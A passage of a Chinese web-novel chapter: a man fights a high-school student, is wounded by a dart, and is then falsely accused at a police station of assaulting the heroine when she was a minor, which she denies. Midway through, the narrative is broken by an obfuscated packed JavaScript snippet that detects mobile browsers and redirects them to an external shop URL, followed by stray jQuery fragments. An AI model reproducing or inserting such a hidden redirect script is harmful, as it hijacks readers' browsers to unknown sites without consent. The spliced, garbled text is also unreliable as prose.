沈星川原本不想在今天这样的时间跟贺鸣计较,可他说出来的屁话实在难听,眼下竟然还想对他动手,沈星川额角微跳,抬腿就是一个专业的侧踢。
他练习过多年的自由搏击,现在还保持着健身的习惯,出腿又准又狠,贺鸣还未近身,胸口就挨了一记,当即就飞扑出去,撞倒了几张课桌才停了下来。
沈星川冷冷看着蜷成一团十分痛苦的高中男生,出声警告:“如果你还想挑战我的极限,那我奉陪到底。”
他脱掉了黑色大衣,交给姚映夏保管,果然贺鸣一脸不服气,很快又冲了过来。
他很庆幸自己今天穿了休闲裤,踢人格外轻松,贺鸣一个翻滚腰又撞到了桌角,姚映夏只是看着都有些隐隐作痛。
她太害怕发生在自己面前的暴力行为,这总能让她联想到姚启航,她拉了拉沈星川,想要尽快离开,他却不肯走,背对着她又上了一课:“小侄女,对敌人仁慈,就是对自己残忍。”
面对这种丧失理智的败类,只要给他留一丝喘息的机会,都会无所不用其极的反扑上来,沈星川很早之前吃过一次亏,后来再也不会手下留情。
贺鸣果然展现出了惊人的毅力,不断扑上前又被踢倒,直到没有任何站起来的力气。
沈星川终于拿回了自己的大衣,看见姚映夏惊惧交加的样子,愤怒的情绪稍缓,扶住她的肩膀就向门外走去:“没事了,我们回家。”
那一瞬间她很有些毛骨悚然,男人的手掌大的吓人,似乎能覆盖她整个背脊,姚半夏立即将背挺得笔直,又迅速向前迈了两步,终于脱离了那只手。
贺鸣默默看着眼前发生的一切,不禁开始思考,是她害怕如此暴戾的沈星川,还是本身就不愿意被他触碰呢?
无论哪种,都足以证明他们之间的关系并不牢靠。
贺鸣终于有了一丝力气,缓缓坐起身来。
沈星川慢慢攥紧手指,努力想要忽略心中的失落,却还是有些怅然,指尖似乎还有她的余温。
这样不合适,她还太小了。他对自己说。
便是在这样微微走神之际,右肩突然传来一阵刺痛。
听到身后没有跟上来的脚步声,姚映夏有些奇怪的回头,就见沈星川转身,看向不远处面露得意的贺鸣。
他的右肩插了一只开了刃的金属飞镖,卡其色的落肩卫衣上殷殷的渗出血来。
原来他还是下手轻了,才会被这种毛头小子暗算,传出去真是让人笑掉大牙。
眼见他面色不虞,贺鸣笑得更是嚣张,能伤他一分一毫,都是今天的胜利:“沈星川,就当这是我送你的临别礼物,下次我还会送你更好的。”
不过很快他就笑不出来,贺鸣看见姚映夏很是焦急地跑回来,查看沈星川的肩膀。
原本只有三分痛的皮肉小伤,被那个无耻男人生生演绎出了万分痛苦。
她急的就要打120,去掏手机才发现还在贺鸣那里,却也不想和他有所攀扯,犹豫了片刻,还是扶住了沈星川的手臂。
贺鸣看见他难以抑制的嘴角上扬,而后费了很大力气才维持住了痛苦的面部表情。
这就是个彻头彻尾的骗子!
可姚映夏一无所知,神色凝重的问:“很痛吗?我们赶紧去医院。”
沈星川点了点头。
眼见他们就要离开,贺鸣决定再添最后一把火,冲沈星川问:“你知道肖安是谁吗?”
这是他第一次听到这个名字,只觉得十分陌生,也不知他是在问姚映夏还是自己。
可很快他就意识到小侄女有些不对劲儿,她的手慢慢松开了他的手臂,脸色又像是犯了低血糖时那样白。
贺鸣终于觉得痛快,笑嘻嘻的看着站在她身边的高大男人说:“沈星川,你以后的下场未必会比我好。”
这是贺鸣发出的诅咒,他当时不以为意,只有些在意小侄女的反应,很久之后才见识到了名为“肖安”的杀伤力。
原以为这一天的闹剧会到此为止,就听身后传来一阵急促的脚步声:“都不许动!”
不知是贺鸣的哪位好友怕他被沈星川打死,竟然报了警。
眼下五个民警赶到,有两个过去扶起了贺鸣,三个站到了沈星川身边,正言厉色道:“有人报警,说你殴打高中生,请跟我们走一趟。”
沈星川不以为意,觉得自己今天怎么也算正当防卫,何况还有小侄女这个人证。
姚映夏连忙站到了民警面前,他本以为小侄女是着急要提自己说话,刚刚觉得甚是欣慰,就听她说要找一个叫靳如意的女生。
这下只能分头行动,一个民警先跟沈星川去校医务室处理伤口,一个民警留下看管贺鸣,剩下的都跟姚映夏去找人。
幸好没花多少时间,他们就在走廊尽头的一个教室找到了被单独锁在里面的靳如意,她看起来一切都好,只是担心姚映夏刚才的遭遇,可她不愿细讲,只说自己没事,安抚靳如意今天先回家。
等姚映夏找到医务室去,沈星川肩膀上的飞镖已经被拔掉,眼下脱了上衣,正在接受消毒。
那漂亮的肌肉线条,连民警都忍不住多看了几眼,姚映夏却并不想瞧,扭头就要去门外等着。
却听他喊自己:“小侄女。”
她原以为沈星川又存了捉弄自己的心思,很是不情愿的停下脚步,没想到他只是问:“你眼角的伤是怎么弄得?”
姚映夏觉得自己确实有些以己度人了,不过谁让他有不良前科,到底是乖乖作答:“钥匙划伤的。”
沈星川问校医:“需不需要打破伤风?”
校医走近查看了一下伤口,然后摇头:“伤口很浅,只需要消毒就好了。”说完拿棉签沾了些碘伏,帮她仔细清洁。
等校医叮嘱完注意事项,她又目不斜视的去了门外,猛地摇了摇头,努力想要忘记第一次见到沈星川时的场景。
幸好他很快就穿好衣服,跟民警一起出了医务室,姚映夏连同贺鸣又被带去了派出所,三个人被分开问话。
沈星川的律师很快赶到,了解事情经过之后,对贺鸣提出了三项指控:非法限制人身自由,猥亵同学,故意伤害。
而他的雇主沈先生只是见义勇为,正当防卫,王律师非常自信,只需要做完
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283224|151938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笔录,他们就可以全身而退。
没想到半小时后,王律师就得知了一个十分令他震惊的消息,贺鸣指控沈星川强/奸未成年,起码在初次实施犯罪的时候,姚映夏还未成年。
并且附上了打印出来的聊天记录:“小侄女,很抱歉害你进了医院,请相信那并非是我本意,以后我不会再强迫你。”
这话粗看确实是那么个意思,可总归模棱两可,还有很大的操作空间。王律师看向沈星川,无声的询问这事儿是真是假,接收到确切信号,他才能见机行事,看看后续怎么处理。
沈星川皮笑肉不笑的看向身边西装革履的中年男人:“王律师,我们认识四年了,看来你对我的人品还有很大误解。”
王律师尴尬的笑笑,这些年来他看沈星川在商场上杀伐决断,只觉得这个男人恐怖至极,似乎没什么是他做不出来的,虽然都在合理合法的范畴之内。
眼看王律师也靠不住,沈星川径直对民警道:“你们可以去医院调取这个时间段姚映夏的住院记录,我想这并不难查。”
民警点了点头:“我们会去核实,同时也会通知姚映夏的监护人,做进一步的了解。”
沈星川瞬间皱起了眉。
这件事如果被许念知道,哪怕后期能够证明自己并没有做过什么出格的事,许念也会心生戒备,到时候姚映夏极有可能会从别墅搬走,这不是沈星川愿意看到的结果。
王律师瞬间感受到身边男人散发出来的低气压,这下他接收到了明确信号,终于展现出了自己的专业能力:“据我所知,姚小姐已满十八岁,是完全民事行为能力人,并不需要监护人到场。况且,无凭无据的事情,你们无权在事情调查清楚之前做出任何有损沈先生声誉的事。”
民警一愣,就见王律师脸上露出了十分职业的微笑:“当然,你们完全可以按照你们的流程行事,我们也可以依法捍卫自己的权利。”
众所周知,川河集团的法务团队十分强大,几乎未尝败绩。
“当然,这不是威胁。”王律师最后强调。
民警终于有所让步:“好的,我们会先进行调查取证。”
此时此刻,另外一个接待室里,民警刚刚了解完贺鸣和沈星川打架的始末,拿着写好的笔录出了门,就有另外一个女民警推门而入,将姚映夏的手机还给了她,同时还有一份打印出来的聊天记录。
新一轮的问话开始,女民警斟酌了一下措辞,语气和缓地问:“贺鸣指控,沈星川在你未成年时强迫跟你发生关系,请问是否确有其事?”
这下姚映夏终于知道贺鸣奇葩的脑回路从何而来,当即否认:“他没有强迫过我。”
这话听起来似乎有些歧义,她不得不再次补充:“我们没有任何关系。”
女民警点了点头,继续问道:“请问你跟沈星川是什么时候认识的?”
“两年前。”
她的神色已经有些木然,此时将近十二点钟,姚映夏很是恍惚,自己怎么就坐在了这里,这比通宵刷试卷还要痛苦。
女民警又问:“怎么认识的,麻烦讲一下详细经过。”